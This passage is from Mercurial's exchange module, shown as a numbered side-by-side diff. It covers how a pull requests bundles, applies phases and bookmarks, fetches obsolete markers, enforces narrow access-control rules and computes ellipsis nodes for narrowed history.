1926 legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
1928 legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
1927 hasbinaryphase = b'heads' in pullop.remotebundle2caps.get(b'phases', ())
1929 hasbinaryphase = b'heads' in pullop.remotebundle2caps.get(b'phases', ())
1928 if not legacyphase and hasbinaryphase:
1930 if not legacyphase and hasbinaryphase:
1929 kwargs[b'phases'] = True
1931 kwargs[b'phases'] = True
1930 pullop.stepsdone.add(b'phases')
1932 pullop.stepsdone.add(b'phases')
1931
1933
1932 if b'listkeys' in pullop.remotebundle2caps:
1934 if b'listkeys' in pullop.remotebundle2caps:
1933 if b'phases' not in pullop.stepsdone:
1935 if b'phases' not in pullop.stepsdone:
1934 kwargs[b'listkeys'] = [b'phases']
1936 kwargs[b'listkeys'] = [b'phases']
1935
1937
1936 bookmarksrequested = False
1938 bookmarksrequested = False
1937 legacybookmark = b'bookmarks' in ui.configlist(b'devel', b'legacy.exchange')
1939 legacybookmark = b'bookmarks' in ui.configlist(b'devel', b'legacy.exchange')
1938 hasbinarybook = b'bookmarks' in pullop.remotebundle2caps
1940 hasbinarybook = b'bookmarks' in pullop.remotebundle2caps
1939
1941
1940 if pullop.remotebookmarks is not None:
1942 if pullop.remotebookmarks is not None:
1941 pullop.stepsdone.add(b'request-bookmarks')
1943 pullop.stepsdone.add(b'request-bookmarks')
1942
1944
1943 if (
1945 if (
1944 b'request-bookmarks' not in pullop.stepsdone
1946 b'request-bookmarks' not in pullop.stepsdone
1945 and pullop.remotebookmarks is None
1947 and pullop.remotebookmarks is None
1946 and not legacybookmark
1948 and not legacybookmark
1947 and hasbinarybook
1949 and hasbinarybook
1948 ):
1950 ):
1949 kwargs[b'bookmarks'] = True
1951 kwargs[b'bookmarks'] = True
1950 bookmarksrequested = True
1952 bookmarksrequested = True
1951
1953
1952 if b'listkeys' in pullop.remotebundle2caps:
1954 if b'listkeys' in pullop.remotebundle2caps:
1953 if b'request-bookmarks' not in pullop.stepsdone:
1955 if b'request-bookmarks' not in pullop.stepsdone:
1954 # make sure to always includes bookmark data when migrating
1956 # make sure to always includes bookmark data when migrating
1955 # `hg incoming --bundle` to using this function.
1957 # `hg incoming --bundle` to using this function.
1956 pullop.stepsdone.add(b'request-bookmarks')
1958 pullop.stepsdone.add(b'request-bookmarks')
1957 kwargs.setdefault(b'listkeys', []).append(b'bookmarks')
1959 kwargs.setdefault(b'listkeys', []).append(b'bookmarks')
1958
1960
1959 # If this is a full pull / clone and the server supports the clone bundles
1961 # If this is a full pull / clone and the server supports the clone bundles
1960 # feature, tell the server whether we attempted a clone bundle. The
1962 # feature, tell the server whether we attempted a clone bundle. The
1961 # presence of this flag indicates the client supports clone bundles. This
1963 # presence of this flag indicates the client supports clone bundles. This
1962 # will enable the server to treat clients that support clone bundles
1964 # will enable the server to treat clients that support clone bundles
1963 # differently from those that don't.
1965 # differently from those that don't.
1964 if (
1966 if (
1965 pullop.remote.capable(b'clonebundles')
1967 pullop.remote.capable(b'clonebundles')
1966 and pullop.heads is None
1968 and pullop.heads is None
1967 and list(pullop.common) == [nullid]
1969 and list(pullop.common) == [nullid]
1968 ):
1970 ):
1969 kwargs[b'cbattempted'] = pullop.clonebundleattempted
1971 kwargs[b'cbattempted'] = pullop.clonebundleattempted
1970
1972
1971 if streaming:
1973 if streaming:
1972 pullop.repo.ui.status(_(b'streaming all changes\n'))
1974 pullop.repo.ui.status(_(b'streaming all changes\n'))
1973 elif not pullop.fetch:
1975 elif not pullop.fetch:
1974 pullop.repo.ui.status(_(b"no changes found\n"))
1976 pullop.repo.ui.status(_(b"no changes found\n"))
1975 pullop.cgresult = 0
1977 pullop.cgresult = 0
1976 else:
1978 else:
1977 if pullop.heads is None and list(pullop.common) == [nullid]:
1979 if pullop.heads is None and list(pullop.common) == [nullid]:
1978 pullop.repo.ui.status(_(b"requesting all changes\n"))
1980 pullop.repo.ui.status(_(b"requesting all changes\n"))
1979 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1981 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1980 remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
1982 remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
1981 if obsolete.commonversion(remoteversions) is not None:
1983 if obsolete.commonversion(remoteversions) is not None:
1982 kwargs[b'obsmarkers'] = True
1984 kwargs[b'obsmarkers'] = True
1983 pullop.stepsdone.add(b'obsmarkers')
1985 pullop.stepsdone.add(b'obsmarkers')
1984 _pullbundle2extraprepare(pullop, kwargs)
1986 _pullbundle2extraprepare(pullop, kwargs)
1985
1987
1986 with pullop.remote.commandexecutor() as e:
1988 with pullop.remote.commandexecutor() as e:
1987 args = dict(kwargs)
1989 args = dict(kwargs)
1988 args[b'source'] = b'pull'
1990 args[b'source'] = b'pull'
1989 bundle = e.callcommand(b'getbundle', args).result()
1991 bundle = e.callcommand(b'getbundle', args).result()
1990
1992
1991 try:
1993 try:
1992 op = bundle2.bundleoperation(
1994 op = bundle2.bundleoperation(
1993 pullop.repo, pullop.gettransaction, source=b'pull'
1995 pullop.repo, pullop.gettransaction, source=b'pull'
1994 )
1996 )
1995 op.modes[b'bookmarks'] = b'records'
1997 op.modes[b'bookmarks'] = b'records'
1996 bundle2.processbundle(pullop.repo, bundle, op=op)
1998 bundle2.processbundle(pullop.repo, bundle, op=op)
1997 except bundle2.AbortFromPart as exc:
1999 except bundle2.AbortFromPart as exc:
1998 pullop.repo.ui.status(_(b'remote: abort: %s\n') % exc)
2000 pullop.repo.ui.status(_(b'remote: abort: %s\n') % exc)
1999 raise error.Abort(_(b'pull failed on remote'), hint=exc.hint)
2001 raise error.Abort(_(b'pull failed on remote'), hint=exc.hint)
2000 except error.BundleValueError as exc:
2002 except error.BundleValueError as exc:
2001 raise error.Abort(_(b'missing support for %s') % exc)
2003 raise error.Abort(_(b'missing support for %s') % exc)
2002
2004
2003 if pullop.fetch:
2005 if pullop.fetch:
2004 pullop.cgresult = bundle2.combinechangegroupresults(op)
2006 pullop.cgresult = bundle2.combinechangegroupresults(op)
2005
2007
2006 # processing phases change
2008 # processing phases change
2007 for namespace, value in op.records[b'listkeys']:
2009 for namespace, value in op.records[b'listkeys']:
2008 if namespace == b'phases':
2010 if namespace == b'phases':
2009 _pullapplyphases(pullop, value)
2011 _pullapplyphases(pullop, value)
2010
2012
2011 # processing bookmark update
2013 # processing bookmark update
2012 if bookmarksrequested:
2014 if bookmarksrequested:
2013 books = {}
2015 books = {}
2014 for record in op.records[b'bookmarks']:
2016 for record in op.records[b'bookmarks']:
2015 books[record[b'bookmark']] = record[b"node"]
2017 books[record[b'bookmark']] = record[b"node"]
2016 pullop.remotebookmarks = books
2018 pullop.remotebookmarks = books
2017 else:
2019 else:
2018 for namespace, value in op.records[b'listkeys']:
2020 for namespace, value in op.records[b'listkeys']:
2019 if namespace == b'bookmarks':
2021 if namespace == b'bookmarks':
2020 pullop.remotebookmarks = bookmod.unhexlifybookmarks(value)
2022 pullop.remotebookmarks = bookmod.unhexlifybookmarks(value)
2021
2023
2022 # bookmark data were either already there or pulled in the bundle
2024 # bookmark data were either already there or pulled in the bundle
2023 if pullop.remotebookmarks is not None:
2025 if pullop.remotebookmarks is not None:
2024 _pullbookmarks(pullop)
2026 _pullbookmarks(pullop)
2025
2027
2026
2028
2027 def _pullbundle2extraprepare(pullop, kwargs):
2029 def _pullbundle2extraprepare(pullop, kwargs):
2028 """hook function so that extensions can extend the getbundle call"""
2030 """hook function so that extensions can extend the getbundle call"""
2029
2031
2030
2032
2031 def _pullchangeset(pullop):
2033 def _pullchangeset(pullop):
2032 """pull changeset from unbundle into the local repo"""
2034 """pull changeset from unbundle into the local repo"""
2033 # We delay the open of the transaction as late as possible so we
2035 # We delay the open of the transaction as late as possible so we
2034 # don't open transaction for nothing or you break future useful
2036 # don't open transaction for nothing or you break future useful
2035 # rollback call
2037 # rollback call
2036 if b'changegroup' in pullop.stepsdone:
2038 if b'changegroup' in pullop.stepsdone:
2037 return
2039 return
2038 pullop.stepsdone.add(b'changegroup')
2040 pullop.stepsdone.add(b'changegroup')
2039 if not pullop.fetch:
2041 if not pullop.fetch:
2040 pullop.repo.ui.status(_(b"no changes found\n"))
2042 pullop.repo.ui.status(_(b"no changes found\n"))
2041 pullop.cgresult = 0
2043 pullop.cgresult = 0
2042 return
2044 return
2043 tr = pullop.gettransaction()
2045 tr = pullop.gettransaction()
2044 if pullop.heads is None and list(pullop.common) == [nullid]:
2046 if pullop.heads is None and list(pullop.common) == [nullid]:
2045 pullop.repo.ui.status(_(b"requesting all changes\n"))
2047 pullop.repo.ui.status(_(b"requesting all changes\n"))
2046 elif pullop.heads is None and pullop.remote.capable(b'changegroupsubset'):
2048 elif pullop.heads is None and pullop.remote.capable(b'changegroupsubset'):
2047 # issue1320, avoid a race if remote changed after discovery
2049 # issue1320, avoid a race if remote changed after discovery
2048 pullop.heads = pullop.rheads
2050 pullop.heads = pullop.rheads
2049
2051
2050 if pullop.remote.capable(b'getbundle'):
2052 if pullop.remote.capable(b'getbundle'):
2051 # TODO: get bundlecaps from remote
2053 # TODO: get bundlecaps from remote
2052 cg = pullop.remote.getbundle(
2054 cg = pullop.remote.getbundle(
2053 b'pull', common=pullop.common, heads=pullop.heads or pullop.rheads
2055 b'pull', common=pullop.common, heads=pullop.heads or pullop.rheads
2054 )
2056 )
2055 elif pullop.heads is None:
2057 elif pullop.heads is None:
2056 with pullop.remote.commandexecutor() as e:
2058 with pullop.remote.commandexecutor() as e:
2057 cg = e.callcommand(
2059 cg = e.callcommand(
2058 b'changegroup', {b'nodes': pullop.fetch, b'source': b'pull',}
2060 b'changegroup', {b'nodes': pullop.fetch, b'source': b'pull',}
2059 ).result()
2061 ).result()
2060
2062
2061 elif not pullop.remote.capable(b'changegroupsubset'):
2063 elif not pullop.remote.capable(b'changegroupsubset'):
2062 raise error.Abort(
2064 raise error.Abort(
2063 _(
2065 _(
2064 b"partial pull cannot be done because "
2066 b"partial pull cannot be done because "
2065 b"other repository doesn't support "
2067 b"other repository doesn't support "
2066 b"changegroupsubset."
2068 b"changegroupsubset."
2067 )
2069 )
2068 )
2070 )
2069 else:
2071 else:
2070 with pullop.remote.commandexecutor() as e:
2072 with pullop.remote.commandexecutor() as e:
2071 cg = e.callcommand(
2073 cg = e.callcommand(
2072 b'changegroupsubset',
2074 b'changegroupsubset',
2073 {
2075 {
2074 b'bases': pullop.fetch,
2076 b'bases': pullop.fetch,
2075 b'heads': pullop.heads,
2077 b'heads': pullop.heads,
2076 b'source': b'pull',
2078 b'source': b'pull',
2077 },
2079 },
2078 ).result()
2080 ).result()
2079
2081
2080 bundleop = bundle2.applybundle(
2082 bundleop = bundle2.applybundle(
2081 pullop.repo, cg, tr, b'pull', pullop.remote.url()
2083 pullop.repo, cg, tr, b'pull', pullop.remote.url()
2082 )
2084 )
2083 pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
2085 pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
2084
2086
2085
2087
2086 def _pullphase(pullop):
2088 def _pullphase(pullop):
2087 # Get remote phases data from remote
2089 # Get remote phases data from remote
2088 if b'phases' in pullop.stepsdone:
2090 if b'phases' in pullop.stepsdone:
2089 return
2091 return
2090 remotephases = listkeys(pullop.remote, b'phases')
2092 remotephases = listkeys(pullop.remote, b'phases')
2091 _pullapplyphases(pullop, remotephases)
2093 _pullapplyphases(pullop, remotephases)
2092
2094
2093
2095
2094 def _pullapplyphases(pullop, remotephases):
2096 def _pullapplyphases(pullop, remotephases):
2095 """apply phase movement from observed remote state"""
2097 """apply phase movement from observed remote state"""
2096 if b'phases' in pullop.stepsdone:
2098 if b'phases' in pullop.stepsdone:
2097 return
2099 return
2098 pullop.stepsdone.add(b'phases')
2100 pullop.stepsdone.add(b'phases')
2099 publishing = bool(remotephases.get(b'publishing', False))
2101 publishing = bool(remotephases.get(b'publishing', False))
2100 if remotephases and not publishing:
2102 if remotephases and not publishing:
2101 # remote is new and non-publishing
2103 # remote is new and non-publishing
2102 pheads, _dr = phases.analyzeremotephases(
2104 pheads, _dr = phases.analyzeremotephases(
2103 pullop.repo, pullop.pulledsubset, remotephases
2105 pullop.repo, pullop.pulledsubset, remotephases
2104 )
2106 )
2105 dheads = pullop.pulledsubset
2107 dheads = pullop.pulledsubset
2106 else:
2108 else:
2107 # Remote is old or publishing all common changesets
2109 # Remote is old or publishing all common changesets
2108 # should be seen as public
2110 # should be seen as public
2109 pheads = pullop.pulledsubset
2111 pheads = pullop.pulledsubset
2110 dheads = []
2112 dheads = []
2111 unfi = pullop.repo.unfiltered()
2113 unfi = pullop.repo.unfiltered()
2112 phase = unfi._phasecache.phase
2114 phase = unfi._phasecache.phase
2113 rev = unfi.changelog.index.get_rev
2115 rev = unfi.changelog.index.get_rev
2114 public = phases.public
2116 public = phases.public
2115 draft = phases.draft
2117 draft = phases.draft
2116
2118
2117 # exclude changesets already public locally and update the others
2119 # exclude changesets already public locally and update the others
2118 pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
2120 pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
2119 if pheads:
2121 if pheads:
2120 tr = pullop.gettransaction()
2122 tr = pullop.gettransaction()
2121 phases.advanceboundary(pullop.repo, tr, public, pheads)
2123 phases.advanceboundary(pullop.repo, tr, public, pheads)
2122
2124
2123 # exclude changesets already draft locally and update the others
2125 # exclude changesets already draft locally and update the others
2124 dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
2126 dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
2125 if dheads:
2127 if dheads:
2126 tr = pullop.gettransaction()
2128 tr = pullop.gettransaction()
2127 phases.advanceboundary(pullop.repo, tr, draft, dheads)
2129 phases.advanceboundary(pullop.repo, tr, draft, dheads)
2128
2130
2129
2131
2130 def _pullbookmarks(pullop):
2132 def _pullbookmarks(pullop):
2131 """process the remote bookmark information to update the local one"""
2133 """process the remote bookmark information to update the local one"""
2132 if b'bookmarks' in pullop.stepsdone:
2134 if b'bookmarks' in pullop.stepsdone:
2133 return
2135 return
2134 pullop.stepsdone.add(b'bookmarks')
2136 pullop.stepsdone.add(b'bookmarks')
2135 repo = pullop.repo
2137 repo = pullop.repo
2136 remotebookmarks = pullop.remotebookmarks
2138 remotebookmarks = pullop.remotebookmarks
2137 bookmod.updatefromremote(
2139 bookmod.updatefromremote(
2138 repo.ui,
2140 repo.ui,
2139 repo,
2141 repo,
2140 remotebookmarks,
2142 remotebookmarks,
2141 pullop.remote.url(),
2143 pullop.remote.url(),
2142 pullop.gettransaction,
2144 pullop.gettransaction,
2143 explicit=pullop.explicitbookmarks,
2145 explicit=pullop.explicitbookmarks,
2144 )
2146 )
2145
2147
2146
2148
2147 def _pullobsolete(pullop):
2149 def _pullobsolete(pullop):
2148 """utility function to pull obsolete markers from a remote
2150 """utility function to pull obsolete markers from a remote
2149
2151
2150 The `gettransaction` is function that return the pull transaction, creating
2152 The `gettransaction` is function that return the pull transaction, creating
2151 one if necessary. We return the transaction to inform the calling code that
2153 one if necessary. We return the transaction to inform the calling code that
2152 a new transaction have been created (when applicable).
2154 a new transaction have been created (when applicable).
2153
2155
2154 Exists mostly to allow overriding for experimentation purpose"""
2156 Exists mostly to allow overriding for experimentation purpose"""
2155 if b'obsmarkers' in pullop.stepsdone:
2157 if b'obsmarkers' in pullop.stepsdone:
2156 return
2158 return
2157 pullop.stepsdone.add(b'obsmarkers')
2159 pullop.stepsdone.add(b'obsmarkers')
2158 tr = None
2160 tr = None
2159 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
2161 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
2160 pullop.repo.ui.debug(b'fetching remote obsolete markers\n')
2162 pullop.repo.ui.debug(b'fetching remote obsolete markers\n')
2161 remoteobs = listkeys(pullop.remote, b'obsolete')
2163 remoteobs = listkeys(pullop.remote, b'obsolete')
2162 if b'dump0' in remoteobs:
2164 if b'dump0' in remoteobs:
2163 tr = pullop.gettransaction()
2165 tr = pullop.gettransaction()
2164 markers = []
2166 markers = []
2165 for key in sorted(remoteobs, reverse=True):
2167 for key in sorted(remoteobs, reverse=True):
2166 if key.startswith(b'dump'):
2168 if key.startswith(b'dump'):
2167 data = util.b85decode(remoteobs[key])
2169 data = util.b85decode(remoteobs[key])
2168 version, newmarks = obsolete._readmarkers(data)
2170 version, newmarks = obsolete._readmarkers(data)
2169 markers += newmarks
2171 markers += newmarks
2170 if markers:
2172 if markers:
2171 pullop.repo.obsstore.add(tr, markers)
2173 pullop.repo.obsstore.add(tr, markers)
2172 pullop.repo.invalidatevolatilesets()
2174 pullop.repo.invalidatevolatilesets()
2173 return tr
2175 return tr
2174
2176
2175
2177
2176 def applynarrowacl(repo, kwargs):
2178 def applynarrowacl(repo, kwargs):
2177 """Apply narrow fetch access control.
2179 """Apply narrow fetch access control.
2178
2180
2179 This massages the named arguments for getbundle wire protocol commands
2181 This massages the named arguments for getbundle wire protocol commands
2180 so requested data is filtered through access control rules.
2182 so requested data is filtered through access control rules.
2181 """
2183 """
2182 ui = repo.ui
2184 ui = repo.ui
2183 # TODO this assumes existence of HTTP and is a layering violation.
2185 # TODO this assumes existence of HTTP and is a layering violation.
2184 username = ui.shortuser(ui.environ.get(b'REMOTE_USER') or ui.username())
2186 username = ui.shortuser(ui.environ.get(b'REMOTE_USER') or ui.username())
2185 user_includes = ui.configlist(
2187 user_includes = ui.configlist(
2186 _NARROWACL_SECTION,
2188 _NARROWACL_SECTION,
2187 username + b'.includes',
2189 username + b'.includes',
2188 ui.configlist(_NARROWACL_SECTION, b'default.includes'),
2190 ui.configlist(_NARROWACL_SECTION, b'default.includes'),
2189 )
2191 )
2190 user_excludes = ui.configlist(
2192 user_excludes = ui.configlist(
2191 _NARROWACL_SECTION,
2193 _NARROWACL_SECTION,
2192 username + b'.excludes',
2194 username + b'.excludes',
2193 ui.configlist(_NARROWACL_SECTION, b'default.excludes'),
2195 ui.configlist(_NARROWACL_SECTION, b'default.excludes'),
2194 )
2196 )
2195 if not user_includes:
2197 if not user_includes:
2196 raise error.Abort(
2198 raise error.Abort(
2197 _(b"%s configuration for user %s is empty")
2199 _(b"%s configuration for user %s is empty")
2198 % (_NARROWACL_SECTION, username)
2200 % (_NARROWACL_SECTION, username)
2199 )
2201 )
2200
2202
2201 user_includes = [
2203 user_includes = [
2202 b'path:.' if p == b'*' else b'path:' + p for p in user_includes
2204 b'path:.' if p == b'*' else b'path:' + p for p in user_includes
2203 ]
2205 ]
2204 user_excludes = [
2206 user_excludes = [
2205 b'path:.' if p == b'*' else b'path:' + p for p in user_excludes
2207 b'path:.' if p == b'*' else b'path:' + p for p in user_excludes
2206 ]
2208 ]
2207
2209
2208 req_includes = set(kwargs.get('includepats', []))
2210 req_includes = set(kwargs.get('includepats', []))
2209 req_excludes = set(kwargs.get('excludepats', []))
2211 req_excludes = set(kwargs.get('excludepats', []))
2210
2212
2211 req_includes, req_excludes, invalid_includes = narrowspec.restrictpatterns(
2213 req_includes, req_excludes, invalid_includes = narrowspec.restrictpatterns(
2212 req_includes, req_excludes, user_includes, user_excludes
2214 req_includes, req_excludes, user_includes, user_excludes
2213 )
2215 )
2214
2216
2215 if invalid_includes:
2217 if invalid_includes:
2216 raise error.Abort(
2218 raise error.Abort(
2217 _(b"The following includes are not accessible for %s: %s")
2219 _(b"The following includes are not accessible for %s: %s")
2218 % (username, stringutil.pprint(invalid_includes))
2220 % (username, stringutil.pprint(invalid_includes))
2219 )
2221 )
2220
2222
2221 new_args = {}
2223 new_args = {}
2222 new_args.update(kwargs)
2224 new_args.update(kwargs)
2223 new_args['narrow'] = True
2225 new_args['narrow'] = True
2224 new_args['narrow_acl'] = True
2226 new_args['narrow_acl'] = True
2225 new_args['includepats'] = req_includes
2227 new_args['includepats'] = req_includes
2226 if req_excludes:
2228 if req_excludes:
2227 new_args['excludepats'] = req_excludes
2229 new_args['excludepats'] = req_excludes
2228
2230
2229 return new_args
2231 return new_args
2230
2232
2231
2233
2232 def _computeellipsis(repo, common, heads, known, match, depth=None):
2234 def _computeellipsis(repo, common, heads, known, match, depth=None):
2233 """Compute the shape of a narrowed DAG.
2235 """Compute the shape of a narrowed DAG.
2234
2236
2235 Args:
2237 Args:
2236 repo: The repository we're transferring.
2238 repo: The repository we're transferring.
2237 common: The roots of the DAG range we're transferring.
2239 common: The roots of the DAG range we're transferring.
2238 May be just [nullid], which means all ancestors of heads.
2240 May be just [nullid], which means all ancestors of heads.
2239 heads: The heads of the DAG range we're transferring.
2241 heads: The heads of the DAG range we're transferring.
2240 match: The narrowmatcher that allows us to identify relevant changes.
2242 match: The narrowmatcher that allows us to identify relevant changes.
2241 depth: If not None, only consider nodes to be full nodes if they are at
2243 depth: If not None, only consider nodes to be full nodes if they are at
2242 most depth changesets away from one of heads.
2244 most depth changesets away from one of heads.
2243
2245
2244 Returns:
2246 Returns:
2245 A tuple of (visitnodes, relevant_nodes, ellipsisroots) where:
2247 A tuple of (visitnodes, relevant_nodes, ellipsisroots) where:
2246
2248
2247 visitnodes: The list of nodes (either full or ellipsis) which
2249 visitnodes: The list of nodes (either full or ellipsis) which
2248 need to be sent to the client.
2250 need to be sent to the client.
2249 relevant_nodes: The set of changelog nodes which change a file inside
2251 relevant_nodes: The set of changelog nodes which change a file inside
2250 the narrowspec. The client needs these as non-ellipsis nodes.
2252 the narrowspec. The client needs these as non-ellipsis nodes.
2251 ellipsisroots: A dict of {rev: parents} that is used in
2253 ellipsisroots: A dict of {rev: parents} that is used in
2252 narrowchangegroup to produce ellipsis nodes with the
2254 narrowchangegroup to produce ellipsis nodes with the
2253 correct parents.
2255 correct parents.
2254 """
2256 """
2255 cl = repo.changelog
2257 cl = repo.changelog
2256 mfl = repo.manifestlog
2258 mfl = repo.manifestlog
2257
2259
2258 clrev = cl.rev
2260 clrev = cl.rev
2259
2261
2260 commonrevs = {clrev(n) for n in common} | {nullrev}
2262 commonrevs = {clrev(n) for n in common} | {nullrev}
2261 headsrevs = {clrev(n) for n in heads}
2263 headsrevs = {clrev(n) for n in heads}
2262
2264
2263 if depth:
2265 if depth:
2264 revdepth = {h: 0 for h in headsrevs}
2266 revdepth = {h: 0 for h in headsrevs}
2265
2267
2266 ellipsisheads = collections.defaultdict(set)
2268 ellipsisheads = collections.defaultdict(set)
2267 ellipsisroots = collections.defaultdict(set)
2269 ellipsisroots = collections.defaultdict(set)
2268
2270
2269 def addroot(head, curchange):
2271 def addroot(head, curchange):
2270 """Add a root to an ellipsis head, splitting heads with 3 roots."""
2272 """Add a root to an ellipsis head, splitting heads with 3 roots."""
2271 ellipsisroots[head].add(curchange)
2273 ellipsisroots[head].add(curchange)
2272 # Recursively split ellipsis heads with 3 roots by finding the
2274 # Recursively split ellipsis heads with 3 roots by finding the
2273 # roots' youngest common descendant which is an elided merge commit.
2275 # roots' youngest common descendant which is an elided merge commit.
2274 # That descendant takes 2 of the 3 roots as its own, and becomes a
2276 # That descendant takes 2 of the 3 roots as its own, and becomes a
2275 # root of the head.
2277 # root of the head.
2276 while len(ellipsisroots[head]) > 2:
2278 while len(ellipsisroots[head]) > 2:
2277 child, roots = splithead(head)
2279 child, roots = splithead(head)
2278 splitroots(head, child, roots)
2280 splitroots(head, child, roots)
2279 head = child # Recurse in case we just added a 3rd root
2281 head = child # Recurse in case we just added a 3rd root
2280
2282
2281 def splitroots(head, child, roots):
2283 def splitroots(head, child, roots):
2282 ellipsisroots[head].difference_update(roots)
2284 ellipsisroots[head].difference_update(roots)
2283 ellipsisroots[head].add(child)
2285 ellipsisroots[head].add(child)
2284 ellipsisroots[child].update(roots)
2286 ellipsisroots[child].update(roots)
2285 ellipsisroots[child].discard(child)
2287 ellipsisroots[child].discard(child)
2286
2288
2287 def splithead(head):
2289 def splithead(head):
2288 r1, r2, r3 = sorted(ellipsisroots[head])
2290 r1, r2, r3 = sorted(ellipsisroots[head])
2289 for nr1, nr2 in ((r2, r3), (r1, r3), (r1, r2)):
2291 for nr1, nr2 in ((r2, r3), (r1, r3), (r1, r2)):
2290 mid = repo.revs(
2292 mid = repo.revs(
2291 b'sort(merge() & %d::%d & %d::%d, -rev)', nr1, head, nr2, head
2293 b'sort(merge() & %d::%d & %d::%d, -rev)', nr1, head, nr2, head
2292 )
2294 )
2293 for j in mid:
2295 for j in mid:
2294 if j == nr2:
2296 if j == nr2:
2295 return nr2, (nr1, nr2)
2297 return nr2, (nr1, nr2)
2296 if j not in ellipsisroots or len(ellipsisroots[j]) < 2:
2298 if j not in ellipsisroots or len(ellipsisroots[j]) < 2:
2297 return j, (nr1, nr2)
2299 return j, (nr1, nr2)
2298 raise error.Abort(
2300 raise error.Abort(
2299 _(
2301 _(
2300 b'Failed to split up ellipsis node! head: %d, '
2302 b'Failed to split up ellipsis node! head: %d, '
2301 b'roots: %d %d %d'
2303 b'roots: %d %d %d'
2302 )
2304 )
2303 % (head, r1, r2, r3)
2305 % (head, r1, r2, r3)
2304 )
2306 )
2305
2307
2306 missing = list(cl.findmissingrevs(common=commonrevs, heads=headsrevs))
2308 missing = list(cl.findmissingrevs(common=commonrevs, heads=headsrevs))
2307 visit = reversed(missing)
2309 visit = reversed(missing)
2308 relevant_nodes = set()
2310 relevant_nodes = set()
2309 visitnodes = [cl.node(m) for m in missing]
2311 visitnodes = [cl.node(m) for m in missing]
2310 required = set(headsrevs) | known
2312 required = set(headsrevs) | known
2311 for rev in visit:
2313 for rev in visit:
2312 clrev = cl.changelogrevision(rev)
2314 clrev = cl.changelogrevision(rev)
2313 ps = [prev for prev in cl.parentrevs(rev) if prev != nullrev]
2315 ps = [prev for prev in cl.parentrevs(rev) if prev != nullrev]
2314 if depth is not None:
2316 if depth is not None:
2315 curdepth = revdepth[rev]
2317 curdepth = revdepth[rev]
2316 for p in ps:
2318 for p in ps:
2317 revdepth[p] = min(curdepth + 1, revdepth.get(p, depth + 1))
2319 revdepth[p] = min(curdepth + 1, revdepth.get(p, depth + 1))
2318 needed = False
2320 needed = False
2319 shallow_enough = depth is None or revdepth[rev] <= depth
2321 shallow_enough = depth is None or revdepth[rev] <= depth
2320 if shallow_enough:
2322 if shallow_enough:
2321 curmf = mfl[clrev.manifest].read()
2323 curmf = mfl[clrev.manifest].read()
2322 if ps:
2324 if ps:
2323 # We choose to not trust the changed files list in
2325 # We choose to not trust the changed files list in
2324 # changesets because it's not always correct. TODO: could
2326 # changesets because it's not always correct. TODO: could
2325 # we trust it for the non-merge case?
2327 # we trust it for the non-merge case?
2326 p1mf = mfl[cl.changelogrevision(ps[0]).manifest].read()
2328 p1mf = mfl[cl.changelogrevision(ps[0]).manifest].read()
2327 needed = bool(curmf.diff(p1mf, match))
2329 needed = bool(curmf.diff(p1mf, match))
2328 if not needed and len(ps) > 1:
2330 if not needed and len(ps) > 1:
2329 # For merge changes, the list of changed files is not
2331 # For merge changes, the list of changed files is not
2330 # helpful, since we need to emit the merge if a file
2332 # helpful, since we need to emit the merge if a file
2331 # in the narrow spec has changed on either side of the
2333 # in the narrow spec has changed on either side of the
2332 # merge. As a result, we do a manifest diff to check.
2334 # merge. As a result, we do a manifest diff to check.
2333 p2mf = mfl[cl.changelogrevision(ps[1]).manifest].read()
2335 p2mf = mfl[cl.changelogrevision(ps[1]).manifest].read()
2334 needed = bool(curmf.diff(p2mf, match))
2336 needed = bool(curmf.diff(p2mf, match))
2335 else:
2337 else:
2336 # For a root node, we need to include the node if any
2338 # For a root node, we need to include the node if any
2337 # files in the node match the narrowspec.
2339 # files in the node match the narrowspec.
2338 needed = any(curmf.walk(match))
2340 needed = any(curmf.walk(match))
2339
2341
2340 if needed:
2342 if needed:
2341 for head in ellipsisheads[rev]:
2343 for head in ellipsisheads[rev]:
2342 addroot(head, rev)
2344 addroot(head, rev)
2343 for p in ps:
2345 for p in ps:
2344 required.add(p)
2346 required.add(p)
2345 relevant_nodes.add(cl.node(rev))
2347 relevant_nodes.add(cl.node(rev))
2346 else:
2348 else:
2347 if not ps:
2349 if not ps:
2348 ps = [nullrev]
2350 ps = [nullrev]
2349 if rev in required:
2351 if rev in required:
2350 for head in ellipsisheads[rev]:
2352 for head in ellipsisheads[rev]:
2351 addroot(head, rev)
2353 addroot(head, rev)
2352 for p in ps:
2354 for p in ps:
2353 ellipsisheads[p].add(rev)
2355 ellipsisheads[p].add(rev)
2354 else:
2356 else:
2355 for p in ps:
2357 for p in ps:
2356 ellipsisheads[p] |= ellipsisheads[rev]
2358 ellipsisheads[p] |= ellipsisheads[rev]
2357
2359
2358 # add common changesets as roots of their reachable ellipsis heads
2360 # add common changesets as roots of their reachable ellipsis heads
2359 for c in commonrevs:
2361 for c in commonrevs:
2360 for head in ellipsisheads[c]:
2362 for head in ellipsisheads[c]:
2361 addroot(head, c)
2363 addroot(head, c)
2362 return visitnodes, relevant_nodes, ellipsisroots
2364 return visitnodes, relevant_nodes, ellipsisroots
2363
2365
2364
2366
2365 def caps20to10(repo, role):
2367 def caps20to10(repo, role):
2366 """return a set with appropriate options to use bundle20 during getbundle"""
2368 """return a set with appropriate options to use bundle20 during getbundle"""
2367 caps = {b'HG20'}
2369 caps = {b'HG20'}
2368 capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo, role=role))
2370 capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo, role=role))
2369 caps.add(b'bundle2=' + urlreq.quote(capsblob))
2371 caps.add(b'bundle2=' + urlreq.quote(capsblob))
2370 return caps
2372 return caps
2371
2373
2372
2374
2373 # List of names of steps to perform for a bundle2 for getbundle, order matters.
2375 # List of names of steps to perform for a bundle2 for getbundle, order matters.
